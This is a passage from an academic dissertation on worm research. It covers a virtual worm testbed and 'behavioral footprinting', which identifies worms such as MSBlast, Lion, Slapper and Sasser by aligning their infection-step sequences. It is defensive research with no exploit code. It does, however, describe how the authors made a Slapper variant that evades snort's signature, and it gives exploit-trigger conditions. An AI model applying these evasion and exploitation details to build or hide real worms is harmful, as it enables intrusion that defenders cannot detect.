Multi-vector worms Multi-vector worms are able to infect hosts via multiple infection

vectors (IVs). In this experiment, we run the Ramen worm [77], which carries three differ-

ent IVs in three services, including LPRng (CVE-2000-0917), wu-ftpd (CVE-2000-0573),

and rpc.statd (CVE-2000-0666). A vGround with 1000 virtual nodes running these ser-

vices is created and only one seed Ramen worm is planted. Over time, we notice different

infection attempts based on all three IVs.

Our vGround experiments reveal that the Ramen exploitation code for the vulnerable

wu-ftpd server is flawed - a result not mentioned in popular bulletins such as [77]. To con-

firm, we also use the same exploitation code against a real machine running a vulnerable

FTP server (wu-ftpd-2.6.0-3). The result confirms the vGround observation.

Stealthy/polymorphic worms Using various polymorphic engines [63], worms can be-

come extremely stealthy. The modeling and detection of stealthy behavior or polymorphic

appearances require much longer time and larger playground scale. Furthermore, it is dif-

ficult, if not impossible, for worm simulators [71] to experiment with polymorphic worms.

We have synthesized a polymorphic worm based on the original Slapper worm. We

use it to evaluate the effectiveness of signature-based worm detection schemes. As shown
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in Section 4.4.3, the Slapper worm will transfer a uuencoded version of the worm source

code after a successful exploitation. Our polymorphic Slapper first attempts to encrypt the

source using the OpenSSL tool before transmission. The encryption password is randomly

generated and is then XOR’ed with a shared key. Finally, the resultant value is prepended

to the encrypted worm source file for transmission. Our vGround experiments show that

snort [41] is no longer able to detect the worm3. The same worm could also be used to test

the signatures generated by various signature extraction algorithms [67–69].

Routing worms vGround can also be used to study the relation between worm propa-

gation and the underlying routing infrastructure. We have synthesized the routing worm

introduced in [85]. The routing worm takes advantage of the information in BGP routing

tables to reduce its scanning space, without missing any potential target. With network

virtualization and real-world routing protocol support, vGround provides a new venue to

study such an infrastructure-aware worm and the corresponding defense mechanisms.

4.5 Limitations and Extensions

It has been noted that a UML-based VM exposes certain system-wide footprints [24].

For example, the content in /proc/cmdline can reveal the command parameters when a

UML VM is started and the command parameters contain some UML-specific informa-

tion (e.g., the special root device ubd0). Such a deficiency may undesirably disclose the

existence of vGround. As a counter-measure, methods have been proposed [86] to mini-

mize such VM-specific footprints. However, this is not the end of the problem. Instead, it

may lead to another round of “arms race.” Meanwhile, the trend is that VMs are increas-

ingly used for general-purpose computing such as web hosting [17], education [18], and

Grid computing [22,75]. If such a trend continues, the arms race tension may be mitigated

because a worm might as well infect a VM in such a “mixed-reality” cyberspace.

A confined vGround may disable some worm experiments where the worm has to com-

municate with hosts outside the vGround to succeed. For example, the Santy worm [87]

3The Slapper signature used in snort is the string “TERM=xterm.”



64

relies on the Google search engine to locate targets for infection and it can be effectively

mitigated by filtering the worm-related queries [88]. However, vGround is not yet effec-

tive in observing the dynamics of such worms. Although the vGround platform is capable

of intercepting an external connection attempt and forging a corresponding response, it

remains an open problem whether such technique can survive the subsequent counter-

measures taken by the worms.

Another limitation of the current vGround prototype is that it is only applicable to

Linux worms, though the design principles and concepts can be generally applied to fu-

ture vGrounds for Windows worms. One challenge in extending the current vGround

implementation for Windows worms is to develop highly scalable system virtualization

and customization techniques for Windows systems. It is encouraging to note that recent

advances in system virtualization technologies such as the VMware ESX server [21] and

hardware-based virtualization support such as Intel’s Vanderpool technology [89] have

shown promise in addressing this challenge.

4.6 Related Work

Testbeds for destructive experiments The DETER project [90] provides a shared testbed

for researchers to conduct a wide variety of security experiments. With a pool of physi-

cal machines at a number of sites, the DETER testbed is able to provide each researcher

with a virtually dedicated experiment environment. In current practice, the granularity

of resource allocation is often one physical node. The vGround software platform can

be deployed in the DETER testbed as a value-added worm experiment service. Worm

researchers will benefit not only from the testbed’s general services (e.g., topology gener-

ation, result visualization), but also from the new features brought by vGround (i.e. easy

recovery, larger scale, and confinement).

Netbed [91], Modelnet [92], and PlanetLab [70] are highly valuable and accessible

testbeds or environments for general networking and distributed system experiments. The

vGround platform is an enabling software system that can potentially be deployed in these
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testbeds to enhance their support for destruction-oriented worm experiments. For exam-

ple, PlanetLab and Modelnet currently do not support worm experiments, especially when

kernel-level damages (e.g., kernel-level rootkit installation) are involved.

The anti-virus industry has long been building worm testbeds (including virtualization-

based testbeds) for timely capture and analysis of worms. Such testbeds are mainly for

in-house exclusive use by skillful and trained experts. As a result, wide deployability, in-

frastructure sharing, and user convenience are not their primary design goals. One of the

pioneering industry testbeds is Internet-inna-Box [93] originally built at IBM. It involves

virtual machines and virtual networks, both enabled by an “emulation package” that sup-

ports virtual Win9x environments. The testbed is based on one or more physical machines,

each with two physical network connections - one dedicated to traffic between the VMs.

While sharing the same principle of system and network virtualization, vGrounds do not

require dedicated network connections and administrator privileges. Also, the vGround

platform imposes lower requirement of user skills by performing automatic vGround gen-

eration and deployment. Furthermore, vGrounds support virtual routers and user-specified

network topologies.

VM-based worm investigation Virtual machines provide an additional layer of indirec-

tion for running and observing untrusted services and applications. Especially, VM tech-

nologies have been heavily leveraged to study worms: VMs can be used as honeypots to

capture worms [11,58]; VMs can also be used to analyze worms. An advanced VM-based

forensic platform is ReVirt [94]. ReVirt enhances individual VMs with efficient logging

and replay capabilities for intrusion analysis, enabling a worm researcher to replay the

worm exploitation process in an instruction-by-instruction fashion. Finally, to study how

worms propagate, we argue that only VMs are not enough, which leads to our develop-

ment of new network virtualization techniques.

Virtual networks In [95], research efforts are called for to create “virtual testbeds” on

top of shared distributed infrastructures - the vGround platform is a step towards this

vision. Different virtual networks have been developed such as X-bone [74], VNET [75],

and VIOLIN [76]. Both X-bone and VNET create a “virtual Internet” without hiding
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the presence of the underlying physical hosts and their network connections. If used in

vGround, they would not be able to confine worm traffic. VIOLIN is our earlier effort in

network virtualization and it does not provide automatic virtual network generation and

bootstrapping capabilities.

4.7 Summary

The vGround back-end enables impact-confined, resource-efficient experiments with

Internet worms and malware. The key features of vGround are supported by a suite of

virtualization techniques. Using real-world worms, we demonstrate that vGrounds are

high-fidelity, mutually-isolated environments to unleash worms and to observe multiple

aspects of their behavior, including network space targeting, propagation pattern, exploita-

tion steps, and malicious payload. These results are critical to the development of worm

defense mechanisms, which will in turn be tested in vGrounds.
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5 CHARACTERIZING SELF-PROPAGATING WORMS WITH BEHAVIORAL

FOOTPRINTING

The previous two chapters describe the front-end and back-end of our integrated frame-

work for Internet malware capture and investigation. These two components combined

create a unique experiment platform for the design and evaluation of advanced malware

defense techniques. In this chapter, we present a malware defense mechanism that we

have developed on top of the integrated platform for worm characterization.

5.1 Introduction

To effectively identify and defend against Internet worms, it is important to char-

acterize a worm along multiple dimensions and derive its profile. Content-based sig-

nature [67–69, 96] is a well-established dimension to capture a worm’s characteristics

by deriving the most representative content sequence as the worm’s signature. In prac-

tice, various intrusion detection systems (IDSes) [41, 72], together with recent honey-

pot systems [24, 26, 47, 58], are deployed to collect live worms. Once a worm speci-

men1 is collected, anti-worm experts will manually examine the specimen and extract

the worm-identifying content sequence as the worm’s signature or “fingerprint.” Recent

works [67–69,96] take one step further by automatically generating worms’ content-based

signatures. These systems have demonstrated a degree of success. However, they all fo-

cus on the same dimension of worm characterization, namely content, while missing other

aspects of a worm’s profile. This single-dimension characterization may limit the capa-

bility of worm identification and recognition. For example, it has been demonstrated that

advanced worms are now capable of exploiting the weakness of content-based signatures

1The worm specimen might not only contain the worm binary itself, but also include other corresponding
traffic associated with a worm infection (e.g., exploitation).
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by mutating [97] or encrypting [98] their content or payload, hence escaping the detection

and identification by content-based fingerprints.

We are therefore motivated to explore other dimensions to enrich a worm’s profile and

thus to enhance worm identification capabilities. Especially, we realize that content-based

fingerprinting does not capture a worm’s temporal infection behavior, which contains valu-

able self-identifying information that leads to the worm’s recognition. In the following,

we propose and justify a new dimension, behavioral footprinting, for worm characteri-

zation. We note that behavioral footprinting is orthogonal and complementary to content

fingerprinting. This new dimension alone also suffers from ineffectiveness towards certain

worms. In this dissertation, we target the type of worms that exploit traditional vulnerable

servers (e.g., Apache/IIS, DNS, and Sendmail) to propagate themselves without any hu-

man intervention [9, 10, 54, 77, 99–103]. Other types of worms (e.g., mass-mailing or IM

worms [4] requiring user actions) are subjects of future work.

The rest of this chapter is organized as follows: In Section 5.2, we demonstrate the

existence of behavioral footprints in self-propagating worms and make a case for the new

dimension. We then describe in Section 5.3 our algorithms to extract a worm’s behav-

ioral footprint, which are followed by experimental results with a number of real worms

using Collapsar and vGround in Section 5.4. Limitations and possible improvements are

described in Section 5.5. We present related work in Section 5.6 and finally summarize

this chapter in Section 5.7.

5.2 A Case for Behavioral Footprinting

In this section, we first present a staged view of a worm infection session to moti-

vate the characterization of worm behavior. As two representative examples, we illus-

trate the existence of behavioral footprints in two well-known worms: the MSBlast worm

(propagating on Windows platform) and the Lion worm (propagating on Linux platform).

Finally, we make a case for behavioral footprinting.
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5.2.1 A Staged View of Worm Infections

In general, the infection session of a self-propagating worm from an infected host to a

victim host can be broken into three phases:

A Worm A Victim

Target Selection/Probing

Exploitation

Replication

Figure 5.1. A staged view of a worm infection session

Phase 1: Target selection and probing Using a strategy such as random or biased

address scanning, a scanning worm during this stage attempts to select a victim for infec-

tion. For example, an ICMP echo request packet or a TCP SYN probe is used to infer the

reachability of a chosen target. Additional packets may also be used to obtain the version

of a possibly vulnerable service. We note that this phase may not exist for non-scanning

worms because they may carry a pre-computed target list.

Phase 2: Exploitation Once the worm receives a positive response from the victim

host, a number of malicious packets2 may be sent in an attempt to exploit the targeted

vulnerability. Successful exploitation will result in the execution of specifically crafted

code by the victim host. Different worms usually implement different functionalities in

the crafted code.

Phase 3: Replication If the exploitation is successful, the replication phase will

follow to transmit a worm replica to the victim host. The replica will be installed in the

victim host, completing this infection session.

We will show through examples that the behavior exhibited by a worm during its infec-

tion session contains valuable self-identifying information that can be used to characterize

the worm. The temporal order of infection steps taken by the worm reflects their intrinsic

dependencies that must be followed to ensure a successful infection.

2There are certain worms (e.g., Slammer [9]) that blindly send exploitation packets to any hosts probed.
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5.2.2 Example I: the MSBlast Worm

We consider the infamous MSBlast worm [54] as the first motivating example. The

MSBlast worm exploits an RPC-DCOM vulnerability (MS03-026) for its infection. An

MSBlast infection session is illustrated in Figure 5.2. The infection session consists of the

following steps:

  69/UDP     */UDP

4444/TCP    */TCP

TCP 3−way handshake

TCP 3−way handshake

UDP * −> 69

UDP 69 −> *

RST

135/TCP     */TCP

RST

Figure 5.2. An infection session of the MSBlast/Windows worm

• A three-way TCP handshake on port 135 3 is used by the worm to check the reach-

ability of the selected target (Phase 1).

• Upon the establishment of the TCP connection, the worm sends a number of mali-

cious packets (Phase 2), which exploit the RPC-DCOM vulnerability [54] and con-

tain specially crafted shell-code. A successful exploitation will lead to the execution

of the shell-code in the victim node. In the case of the MSBlast worm, a new shell

service will be started on TCP port 4444 by the shell-code.

3Microsoft’s DCOM Service Control Manager (also known as the RPC Endpoint Mapper) uses this port as
a well-defined means to provide port-mapping services associating available services with their ports.
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• The new shell service on 4444/TCP is immediately contacted by the worm to send

instructions on how to download the worm replica, i.e., msblast.exe (Phase 3). It

can be seen from Figure 5.2 that the TFTP protocol is used for the downloading.

The above sequence of actions significantly deviates from a normal access to the RPC-

DCOM service: First, after the service request, a new shell service would not suddenly

appear and listen on 4444/TCP in the victim host. Second, a new TCP connection to this

port would not follow the service request. Third and most importantly, the victim should

not have taken the initiative in using the TFTP protocol to download a file (with the name

msblast.exe and a size of 6, 372 bytes) from the client.

5.2.3 Example II: the Lion Worm

TCP 3−way handshake

FIN

FIN

TCP 3−way handshake

     */TCP 53/TCP

TCP 3−way handshake

FIN

RST

     */TCP 53/TCP

 27374/TCP      */TCP

FIN

FIN

Figure 5.3. An infection session of the Lion/Linux worm

The second illustrative example is the historical Linux-based Lion worm [2]. The

Lion worm exploits a BIND vulnerability (CA-2001-02) for its infection. A Lion worm

infection session is shown in Figure 5.3.
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• The Lion worm first makes an explicit TCP connection attempt to destination port

53. A successful connection indicates the reachability and possible vulnerability of

the selected target (Phase 1). This connection, if established, is then immediately

torn down without transmitting any payload.

• Another TCP connection to the same destination port is then established. This time,

certain exploitation code is sent (Phase 2).

• If the exploitation is successful, the shell script, which is transmitted together with

the exploitation code, will be executed to retrieve a worm replica from the infecter

(Phase 3).

Deviation from the normal access to DNS lookup service is observed: First, it is un-

likely that the access would begin with a plain TCP connection with no payload. Second

and more importantly, after the DNS lookup request, it is highly unusual that the BIND

server initiates a TCP connection to the DNS client on an unusual port 27374/TCP , fol-

lowed by an HTTP session on this connection to transfer a file of 71, 680 bytes from the

client to the server.

5.2.4 Behavioral Footprinting: a New Dimension of Worm Profiling

In general, to a (vulnerable) service, there exist intrinsic differences between a normal

access to the service and a worm infection through the service:

First, during the exploitation phase of a worm infection session, a worm will attempt

to misuse a vulnerable service in a way that is different from a normal access. Several

recent works [104–106] have leveraged such difference to derive vulnerability models for

worm defense.

Second, the replication phase of a worm infection session should not happen dur-

ing a normal access to the vulnerable service. In sharp contrast, it will appear in every

successful worm infection. As shown in Figure 5.2, the 4444/TCP connection and its

encapsulated TFTP transmission will appear in every MSBlast worm infection. Similarly,
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the 27374/TCP connection and its encapsulated HTTP session can be observed for every

Lion worm infection (Figure 5.3).

Finally, the entire sequence of infection steps during an infection session characterizes

the worm’s behavior, and is highly unlikely to appear in normal traffic. Our experiments

with real-world network traces result in zero false positives. Furthermore, for different

worms exploiting the same vulnerable service, their sequences of infection steps are dif-

ferent. The reason is that different worms tend to have different exploitation means, repli-

cation idiosyncrasies, and payloads, even though they are exploiting the same vulnerability

(Section 5.4.2).

Based on the observations above, we are motivated to adopt a worm’s infection step

sequence during an infection session to characterize and hence uniquely identify the worm.

We call this new dimension behavioral footprinting, in contrast to the existing dimension

of content-based fingerprinting. We emphasize that the two dimensions complement each

other and they should be combined to overcome their own weaknesses (Section 5.5). Since

behavioral footprinting does not rely on payload content analysis, it is by nature resistant

to content-based mutation and encryption attacks (Sections 5.4.4).

5.3 Behavioral Footprint Representation and Extraction

In this section, we first define the behavioral footprint and its representation. A simple

pairwise alignment algorithm is then presented to extract a behavioral footprint from the

traces of two infection sessions. To increase robustness against more intelligent worms, we

develop an advanced footprint extraction algorithm to derive a worm’s behavioral footprint

from multiple infection traces.

5.3.1 Behavioral Phenotype and Footprint

The term “behavioral phenotype” was originally coined in 1972 by Nyhan [107] to rep-

resent a behavior that was genetically determined in the same way as the physical features

of a phenotype. If we denote a worm’s infection steps as the worm’s behavioral pheno-



74

types, the sequence of behavioral phenotypes manifested during the infection session will

be defined as the worm’s intrinsic behavioral footprint. From Section 5.2, the behavioral

footprint uniquely reflects the behavioral characteristics of the worm (e.g., vulnerability

exploitation, propagation, and payload).

Our algorithms to extract worm behavioral footprints are based on the sequence anal-

ysis techniques extensively adopted in bio-informatics areas. A common and important

issue for bio-informatics research is to operate over a large sequence of strings such as

DNA, RNA, and protein sequences to find certain pattern(s) among them. Notice that any

type of protein is a sequence of amino acid sub-units and there are only 20 different amino

acids, which constitute the whole alphabet for protein sequence analysis. Similarly, if we

consider all possible behavioral phenotypes during the worm infection as the alphabet,

the behavioral footprint of a worm can be represented as a sequence of characters in the

alphabet. For example, the behavioral footprint of the MSBlast worm, based on the infec-

tion session in Figure 5.2, can be represented as S1

←−
SA

1 A1 · · ·R1S2

←−
SA

2 A2 · · ·←−U1U1 · · ·R2,

where the letters’ definitions are as follows:

S1 : < TCP, 4581/infecter, 135/victim, SY N >
←−
SA

1 : < TCP, 135/victim, 4581/infecter, SY N, ACK >

A1 : < TCP, 4581/infecter, 135/victim, ACK >

R1 : < TCP, 4581/infecter, 135/victim, RST >

S2 : < TCP, 4599/infecter, 4444/victim, SY N >
←−
SA

2 : < TCP, 4444/victim, 4599/infecter, SY N, ACK >

A2 : < TCP, 4599/infecter, 4444/victim, ACK >

←−
U1 : < UDP, 1552/victim, 69/infecter >

U1 : < UDP, 69/infecter, 1552/victim >

R2 : < TCP, 4599/infecter, 4444/victim, RST >

The letters in the above footprint denote either TCP flows with different control bits

(SYN, ACK, RST) or UDP/ICMP flows (U/I). The subscripts denote different flows. For
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example,
←−
SA

1 or
←−
SA

2
4 represents the second step (with SYN and ACK bits set) in a normal

three-way TCP handshake. Without ambiguity, a unique well-known subsequence can be

shortened as a single character. For example, a TCP three-way handshake sequence (e.g.,

Si

←−
SA

i Ai, i = 1, 2, in the previous sequence) can be simplified as Ci.

In this example, every character is a tuple of several fields: the character representing a

TCP flow has four fields < TCP, source port, dest port, TCP control bits >; the character

denoting a UDP flow has three fields < UDP, source port, dest port >. As different

infection sequences might involve different ports, a special wildcard field is introduced.

Using the MSBlast worm as an example, the source ports (e.g., ports 4581, 4599, 1552 in

S1, S2,
←−
U1, respectively) vary in different infection sessions while the destination ports are

fixed (e.g., ports 135, 4444, 69 in S1, S2,
←−
U1, respectively). As such, the special wildcard

field is used for the source port field. On the other hand, there exist some worms that

might have a constant source port number (e.g., the Witty worm has a static UDP source

port 4000), but a random destination port. In this case, the wildcard is used to represent

the destination port field. Although a worm infection session usually involves only two

hosts (the infecter and the victim), a coordinated worm infection may involve more hosts

(e.g., downloading the worm replica from a third host). In this case, the wildcard field can

be used to represent the infecter field.

The number of fields in a phenotype may not be fixed. Additional fields can be added to

include other “context” information, such as the packet length, content sequence, or timing

information relative to the previous step. The extensible nature of behavioral phenotype

representation makes it easy to integrate worm characteristics from other dimensions. For

example, the content-based signature of a worm can be added as an additional field in the

behavioral phenotype, indicating the occurrence of the content during the corresponding

infection step. Protocol compliance analysis and vulnerability-specific information can

also be integrated to further improve the completeness of worm profiles.

4The arrow is used to mark the traffic flow direction and can be omitted when it is unambiguous.
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5.3.2 Pairwise Alignment Algorithm

Using the behavioral footprint representation, we first present an algorithm to extract

a worm’s behavioral footprint from two infection sequences.

Given two infection sequences F1 = x1x2 · · ·xn and F2 = y1y2 · · · ym, a pairwise

alignment algorithm is used to align these two sequences so that they could have the same

length. Based on a pre-defined scoring matrix (e.g., a match yields 1 while a mismatch

yields 0), the alignment algorithm inserts gaps, if necessary, to achieve maximum align-

ment of the two sequences. The maximum alignment is defined as the sum of terms for

each aligned pair of characters < xi, yj > within the sequences (representing similarity

s(xi, yj)), plus terms for each gap (representing penalty, p). The similarity and gap penalty

are defined as a part of the scoring matrix and may be specific to different scenarios. A

global alignment scheme obtains the optimal alignment between two sequences while a lo-

cal alignment scheme looks for the best alignment between subsequences. There exist two

well-known dynamic programming algorithms, i.e., Needleman-Wunsch Algorithm [108]

and Smith-Waterman Algorithm [108].

The idea in Needleman-Wunsch Algorithm is to build an optimal alignment using

previous solutions or optimal alignments of smaller subsequences. A matrix M , indexed

by i and j with one index for each sequence, is iteratively constructed. The cell M (i, j)

is the score of the best alignment between the initial segment x1x2 · · ·xi of x up to xi

and the initial segment y1y2 · · · yj of y up to yj . Initially, M (0, 0) = 0, M (i, 0) = −ip,

M (0, j) = −jp. Then, the matrix is iteratively filled from top-left cells to bottom-right

cells based on Eqn.(5.1).

M (i, j) = max

⎧⎪⎪⎪⎪⎪⎨
⎪⎪⎪⎪⎪⎩

M (i − 1, j − 1) + s(xi, yj), i ≥ 1, j ≥ 1

M (i − 1, j) − p, i ≥ 1

M (i, j − 1) − p, j ≥ 1

(5.1)

Each case represents an option how the current M (i, j) cell is derived from one of

the other three cells (above-left [i − 1, j − 1], above [i − 1, j], or left [i, j − 1]). Once
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all values are calculated, the choices taken at each cell starting from the bottom rightmost

one are traced back so that an optimal global alignment can be derived. An example

alignment applying Needleman-Wunsch Algorithm to the Welchia worm [101] is shown

in Figure 5.4.

I 1I 1C 1F 1F 1C 2U 1U 1 R 2

C 1F 1F 1C 2U 1U 1 R 2U 2U 2

Sequence 1:

Sequence 2:

Figure 5.4. Global alignment with Needleman-Wunsch algorithm

Smith-Waterman Algorithm works similarly except that Eqn.(5.1) is modified for lo-

cal alignment purpose. Particularly, one more case is added to reflect the possibility of

starting a new local alignment. As such, the entry of M (i, j) is refined with the value

max(M (i, j), 0) during the iterative calculation of Eqn.(5.1). The traceback is not per-

formed from the bottom rightmost cell, but from the cell with the maximum value5. An-

other application of Smith-Waterman Algorithm is that if we associate a metric (e.g., num-

ber of matches) to the best alignment between subsequences of F1 and F2, the metric can

be used to indicate the similarity between the two sequences. Smith-Waterman alignment

is used in our next algorithm as a similarity-based scoring mechanism to build the relevant

phylogenetic tree from a number of worm infection sequences.

Most existing self-propagating worms are primitive with no behavior-polymorphic ca-

pabilities. Our experiments in Section 5.4 show that pairwise alignment is highly effective

in extracting their behavioral footprints. However, it is likely that many future worms will

be polymorphic in both content and behavior, given that libraries [63, 109, 110] making

code polymorphic are readily available. As a result, the pairwise alignment algorithm may

not be capable of characterizing emerging advanced worms.

5A tie can be broken by arbitrarily choosing any cell with the maximum value.
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5.3.3 Phylogenetic Tree Algorithm

In this section, we propose a robust algorithm to extract behavioral footprints of more

advanced worms. The algorithm is based on our observation on the existence of behavioral

invariants. Before presenting the algorithm, we first justify the existence of behavioral

invariants – even in advanced worms.

5.3.3.1 Examining Behavioral Invariant

Similar to its counterpart, a content-polymorphic worm, a behavior-polymorphic worm

exhibits varying behavior during different infection sessions. We consider single-vector

worms that target one vulnerability, as a multi-vector worm can be considered as the com-

bination of several single-vector worm variants. We have so far studied at least twenty

self-propagating worms and their variants (including behavior-polymorphic worms we

synthesize) that target different services on various operating systems. We have found

behavioral invariant in each of them. Although we are not claiming that all worms ex-

hibit behavioral invariants, we believe that a significant fraction of them do, as behavioral

invariants typically result from (1) restrictions imposed for successful exploitations, (2)

common components in each infection session (e.g., same payload and replication method

of a worm), or (3) in some cases, a worm’s idiosyncrasies in its exploitation means, repli-

cation mechanism, and self-carrying payload. We present two examples to illustrate how

restrictions for successful exploitations determine a worm’s behavioral invariants.

The first example is related to the OpenSSL heap-based buffer overflow exploited

by the Slapper worm. As described in [10], the overflow is used twice by the worm to

achieve a reliable infection. The first OpenSSL exploitation only attempts to locate the

over-writable heap address within the vulnerable Apache address space, which is not pre-

dictable across all the servers. After the first exploitation, the acquired heap address is

patched in the attack buffer within the second OpenSSL exploitation. It is expected that

this two-phase exploitation enables a reliable infection. However, it has one more restric-

tion: the two Apache processes handling these two exploitation connections should have
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the same heap layout, and thus ensure the validity of the heap address obtained from the

first exploitation connection to the second exploitation connection. To satisfy the restric-

tion, the worm must first exhaust the Apache’s pool of servers before actual exploitation.

The exhaustion is achieved by opening a succession of 20 connections6 so that two fresh

Apache processes can be spawned to handle the two exploitation connections. As such,

a reliable Slapper worm infection requires a series of resource-exhausting TCP connec-

tions and two additional exploitations. These requirements are essentially imposed as the

behavioral invariants of the Slapper worm for successful infection.

The second example is the Slammer worm, which exploits a simple buffer-overrun

vulnerability in MS SQL servers. To exploit this vulnerability, only a UDP packet with

destination port 1434, packet type 4, and size larger than 60 bytes will successfully trigger

the buffer overflow. This requirement results in the behavioral invariant of the Slam-

mer worm, and is reflected in its behavioral footprint as: < UDP, ∗/∗, 1434/∗, payload :

“|04|”, size > 60 >.

5.3.3.2 Building the Phylogenetic Tree

From a collection of a worm’s infection sequences7, the worm’s behavioral invariant

can be extracted by advanced sequence analysis techniques. More specifically, pairwise

alignment is first performed to derive their relative similarities (i.e., the Smith-Waterman

alignment). Based on the similarities, a phylogenetic tree will be built to guide the final

stage of multiple sequence alignment and to extract the behavioral invariants.

A phylogenetic tree was originally proposed to depict the evolutionary relationships

of a group of life organisms. We build the phylogenetic tree to extract the intrinsic foot-

print subsequences or invariants that are embedded within a number of related infection

sequences Fk, k = 1..n. Some of the sequences may be mutated by inserting irrelevant

subsequences or replacing a subsequence with another functionally-equivalent string. An

algorithm called UPGMA [108] originally used in gene analysis has been applied to con-

6The number 20 is related to the StartServers entry in the Apache configuration file.
7These infection sequences can be collected by unleashing the worm in vGround (Chapter 4).
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struct such a tree. Initially, each sequence Fk is considered as a cluster Ck. These clusters

are iteratively grouped with the most related one so that, eventually, there is only one

cluster left. The relevance or similarity between two clusters Ci and Cj is defined as:

dij =
1

‖Ci‖ ‖Cj‖
∑

p∈Ci,q∈Cj

dpq (5.2)

where ‖Ci‖ and ‖Cj‖ denote the number of sequences in clusters Ci and Cj . The value of

dpq is derived based on Smith-Waterman Algorithm. The clustering algorithm is described

as follows:

PHYLOGENETICTREECONSTRUCTION(Fk, k = 1 · · ·n)

1 C ← ∅; T ← ∅
2 for each sequence Fi i ∈ 1..n

3 do

4 Assign a cluster Ci ← {Fi}
5 and add it into C ← C

⋃
Ci

6 Define a leaf Ni in T for Fi

7 for each any other sequence Fj , j ∈ i + 1 · · ·n
8 do

9 Calculate the similarity between Fi and Fj

10 dij ← SMITH-WATERMAN(Fi,Fj)

11 while ‖C‖ �= 1

12 do Determine the two clusters Ci and Cj

13 s.t. dij is maximum

14 Define a new cluster Ck = Ci

⋃
Cj

15 and calculate dkl for all l

16 Remove Ci and Cj from C, i.e., C ← C − Ci − Cj

17 Add Ck to C, i.e., C ← C
⋃

Ck

18 Add a parent node Nk to T with children Ni and Nj

19 return T

The calculation of dkl in step 15 can be conveniently performed based on following

equation:
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dkl =
dil ‖Ci‖ + djl ‖Cj‖

‖Ci‖ + ‖Cj‖ (5.3)

The time and space complexity of the algorithm is O(n2), because there are n − 1

iterations, with O(n) steps in each one.

5.3.3.3 Aligning Multiple Sequences

The phylogenetic tree is used to categorize the worm footprint sequences and to guide

the actual alignment of the multiple sequences. Within the generated tree T , the leaves

contain the raw footprint sequences while the intermediate nodes contain the sequences

representing their children nodes. A recursive post-order tree traversal algorithm (shown

below) can be applied to construct the representative sequences until the root of T is

reached.

MULTIPLESEQUENCEALIGNMENT(T : PhylogeneticTree)

1 if T �= NULL

2 then MULTIPLESEQUENCEALIGNMENT(T.left);

3 MULTIPLESEQUENCEALIGNMENT(T.right);

4 if T.left �= NULL AND T.right �= NULL

5 then T.sequence ←
6 NEEDLEMAN-WUNSCH(T.left, T.right)

The sequence construction is based on global alignment using Needleman-Wunsch

Algorithm (Section 5.3.2). An example run of the algorithm for a Welchia worm variant

is illustrated in Fig 5.5. The sequence shown at the root of the tree

< variable > C1F1
←−
F1C2

←−
U1U1 < variable > R2

is the behavioral footprint of the Welchia worm.

5.4 Evaluation

In this section, we first describe our experiment environment, which is used to trap

“live” worms and analyze historical worms. We then derive the worms’ behavioral foot-
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Sequence 1 Sequence 2 Sequence 3
C 1U 1

Figure 5.5. An example alignment of multiple worm infection sequences

prints. By comparing with content-based fingerprinting, we further demonstrate the effec-

tiveness and robustness of behavioral footprinting for worm identification.

5.4.1 Experiment Environment

We perform our experiments on our integrated experiment platform, which consists of

Collapsar honeyfarm (Chapter 3) and vGround playground (Chapter 4).

The honeypots in Collapsar run a variety of commodity operating systems, including

RedHat Linux 7.2/8.0, Windows XP Home Edition, FreeBSD 4.2, and Solaris 8.0. All

traffic from/to these honeypots are fully logged using tcpdump. As mentioned in Chapter

3, a number of real-world worms such as MSBlast [54], Enbiei [99], Welchia [101], and

Sasser [102] have been captured live. We also use vGround to experiment with a number of

historical worms and their variants, including the Lion worm [2], the Slapper worm [10],

the Ramen worm [77], and the SARS worm [100]. For each experiment, the raw worm

infection traces are recorded using tcpdump.

5.4.2 Extracting Behavioral Footprints

From the collected tcpdump log files, we first extract flow sequences relevant to worm

infections. We develop a tool named sneeze for this purpose: All TCP/UDP/ICMP flow

sequences in the log are extracted and packet reassembly or re-ordering is also performed
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if necessary. The TCP/UDP/ICMP sequences are identified by their address pairs and

ordered by the associated time-stamp. The duration and payload size of each flow is also

automatically calculated by sneeze.

An example output from sneeze is shown in Figure 5.6. The raw trace is from a

complete infection session of the Sasser worm, captured by Collapsar on May 1, 2004.

Figure 5.6. An example output of Sneeze

When analyzing TCP flows, sneeze is able to track relevant TCP states. Specifically,

within the extracted TCP flows, any TCP control packets with SYN, ACK, FIN, or RST

bit set are included in the resulting infection sequence. The TCP data packets are usually

ignored. UDP and ICMP flows are also included in the sequence.

We apply the algorithms described in Section 5.3 on these infection sequences to ex-

tract behavioral footprints. The results are shown in Table 5.1. In the table, the letters

denote either TCP flows with different control bits or UDP/ICMP flows. The letter Ci rep-

resents the three-way TCP connection handshake. Note that the same letter has different

field values (e.g., different destination port numbers) in different footprints.
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We are able to extract behavioral footprints for all worms examined. The Welchia

worm8 is similar to the MSBlast worm except that an initial ICMP probing packet is gen-

erated before actual infection and the second TCP connection (
←−
C2) is initiated from the

victim with connect-back shell-code. Though MSBlast and Welchia exploit the same vul-

nerability, their behavioral footprints are different. The Enbiei worm exhibits a footprint

similar to that of MSBlast but has a different worm binary and payload. The Sasser worm

uses the ftp protocol (
←−
C3) to download the worm replica. Within the ftp session, a PORT

primitive is initiated to start another reverse connect-back activity (C4).

Table 5.1
Characterizing self-propagating worms with their behavioral footprints

Name Infection Vector Behavioral Footprints Derived

MSBlast RPC-DCOM vulnerability (MS03-026) C1R1C2
←−
U1U1R2

Welchia RPC-DCOM vulnerability (MS03-026) I1
←−
I1C1F1

←−
F1

←−
C2

←−
U1U1

←−
U2U2R2

WebDAV vulnerability (MS03-007)

Enbiei RPC-DCOM vulnerability (MS03-026) C1R1C2
←−
U1U1R2

Sasser LSASS vulnerability (MS04-011) C1R1C2
←−
C3C4F4

←−
F4F3

←−
F3R2

Ramen LPRng vulnerability (CVE-2000-0917) SF
1

←−
S1R1C2F2

←−
F2C3

←−
C4F4

←−
F4

WU-FTPD vulnerability (CVE-2000-0573) SF
1

←−
S1R1C2R2C3R3

NFS-UTILS vulnerability (CVE-2000-0666) SF
1

←−
S1R1U1

←−
U1U2C2

←−
C3F3

←−
F3R2

Lion BIND vulnerability (CA-2001-02) C1F1
←−
F1C2

←−
C3F3

←−
F3R2

Slapper OpenSSL vulnerability (CA-2002-23) C1F1
←−
F1C2

←−
F2

∏22
i=3 CiC23C24

SARS Samba vulnerability (CAN-2003-0201) U1
←−
U1U2

←−
U2C1F1C2F2

←−
F2C3

←−
C4

←−
F4F4R3

Table 5.1 also shows the footprints of several historical worms, which we run in

